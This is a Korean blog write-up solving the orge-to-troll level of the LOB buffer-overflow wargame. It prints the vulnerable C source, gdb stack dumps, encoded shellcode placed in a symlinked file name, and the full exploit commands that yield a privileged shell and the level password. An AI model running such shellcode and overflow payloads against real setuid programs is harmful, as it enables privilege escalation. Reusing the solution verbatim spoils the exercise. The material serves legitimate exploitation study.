[8] orge -> troll ( argv[0] , Symbolic Link )

2017. 11. 17. 13:18SystemHacking/LOB(BOF원정대)




orge / timewalker

[orge@localhost orge]$ /bin/bash2

[orge@localhost orge]$ SHELL=/bin/bash2


[ troll.c ]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}
 
cs


egghunter => 환경변수의 쉘 코드 초기화

buffer hunter => buffer 와 argv[1] 에 올리는 쉘 코드 사용할 수 없다

실행파일의 인자가 2개 이상일 수 없도록 조건이 되어있다

이전 문제에서 사용해오던 2번째 인자에 쉘코드에 올리는 방법을 사용할 수 없게되었다

쉘 코드를 올릴 수 있는 다른 부분이 있을까 ? 

아래 스택 구조를 보면 argc 와 argv[0] 부분은 아무런 제약을 받고 있지 않음을 확인할 수 있다

따라서 argv[0] 주소를 활용해보도록 하겠다 ( 실행파일의 이름이 저장되는 공간 )

즉 실행파일의 이름에 쉘 코드를 올려놓고 해당 주소로 ret 시키면 쉘 코드가 실행 될 것이다


[ Stack 구조 ]

i

buffer            40byte    - 초기화

saved ebp       4byte

saved eip        RET

argc                

argv[0]            <-- 실행파일의 이름을 변경하고, 실행파일의 이름이 저장되는 해당 주소로 ret !

argv[1]            초기화



* 쉘 코드를 올려야 하는데 실행파일의 이름을 바꿀 수 있는 권한이 없기 때문에 심볼릭링크를 이용하여야 합니다

* 기존에 사용하던 24byte쉘코드에는 "\x2f" ( / ) 가 있어서 디렉토리가 생성되기 때문에 " \x2f " 가 없는 쉘 코드를 사용했습니다


< 풀이 과정 >

[ gdb 분석 ]

* troll 파일의 복사본의 심볼릭링크 파일을 gdb로 분석해보자

[orge@localhost /tmp]$ ln -s ~/troll.cp $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')


[orge@localhost /tmp]$ ls

????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒


[orge@localhost /tmp]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')

argc must be two!


[orge@localhost /tmp]$ gdb -q $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>:       push   %ebp

0x8048501 <main+1>:     mov    %ebp,%esp

0x8048503 <main+3>:     sub    %esp,44

.... ( 생략 ) ....

0x804863a <main+314>:   add    %esp,12

0x804863d <main+317>:   leave

(gdb) b *0x804863d

Breakpoint 1 at 0x804863d

(gdb) run $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')

Starting program: /tmp/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ

                                           1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ $(python -c 'print "A" * 40 + "BBBB" + "\xbf\xbf\xbf\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒


Breakpoint 1, 0x804863d in main ()

(gdb) x/48x $ebp-40

0xbffff9a0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff9b0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff9c0:     0x00000000      0x00000000      0x42424242      0xbfbfbfbf < -- saved eip

0xbffff9d0:     0x00000000      0xbffffa14      0xbffffa20      0x40013868

0xbffff9e0:     0x00000002      0x08048450      0x00000000      0x08048471

0xbffff9f0:     0x08048500      0x00000002      0xbffffa14      0x08048390

0xbffffa00:     0x0804866c      0x4000ae60      0xbffffa0c      0x40013e90

  [ argc ]                [ argv[0] ]

0xbffffa10:     0x00000002      0xbffffb0e      0xbffffbbe      0x00000000

     addr : 0xbffffa14 

0xbffffa20:     0xbffffbef      0xbffffbf8      0xbffffc11      0xbffffc30

0xbffffa30:     0xbffffc52      0xbffffc5c      0xbffffe1f      0xbffffe3e

0xbffffa40:     0xbffffe58      0xbffffe6d      0xbffffe89      0xbffffe94

0xbffffa50:     0xbffffea1      0xbffffea9      0xbffffeb3      0xbffffec4


(gdb) x/s 0xbffffb0e

0xbffffb0e:      "/tmp/", '\220' <repeats 100 times>, "▒▒▒t$▒\025▒i▒])ɱ\0131E\032\003E\032\203▒\004▒▒b\217\223|\023G\216▒Rp▒▒\027\0278{▒\205Q\025\216▒▒\001\230-▒ѶO\232▒▒▒4@▒QM▒\202▒"



argv[0] : 실행파일의 이름이 저장된다. => 심볼릭링크를 통해서 실행파일의 이름에는 쉘 코드가 올려져 있다

오버플로우를 통해서 saved eip 를 argv[0] 의 주소가 있는 공간으로 변조시킨다면 ?

=> 함수의 프롤로그 동작시 argv[0] 의 주소로 이동하고 NOP코드를 흘러내려가 쉘 코드가 실행된다


[ payload ]

// troll 파일의 symbolic link 파일 생성

[orge@localhost orge]$ ln -s troll $(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"')

[orge@localhost orge]$ ls

troll

troll.c

troll.cp

????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒

// saved eip 의 값을 변조한다 

[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x10\xfa\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒

Segmentation fault

[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x20\xfa\xff\xbf"')

argc must be two!

[orge@localhost orge]$ ./$(python -c 'print "\x90" * 100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"') $(python -c 'print "A" * 44 + "\x30\xfa\xff\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0▒▒▒

bash$ id

uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)

bash$ my-pass

euid = 508

aspirin

bash$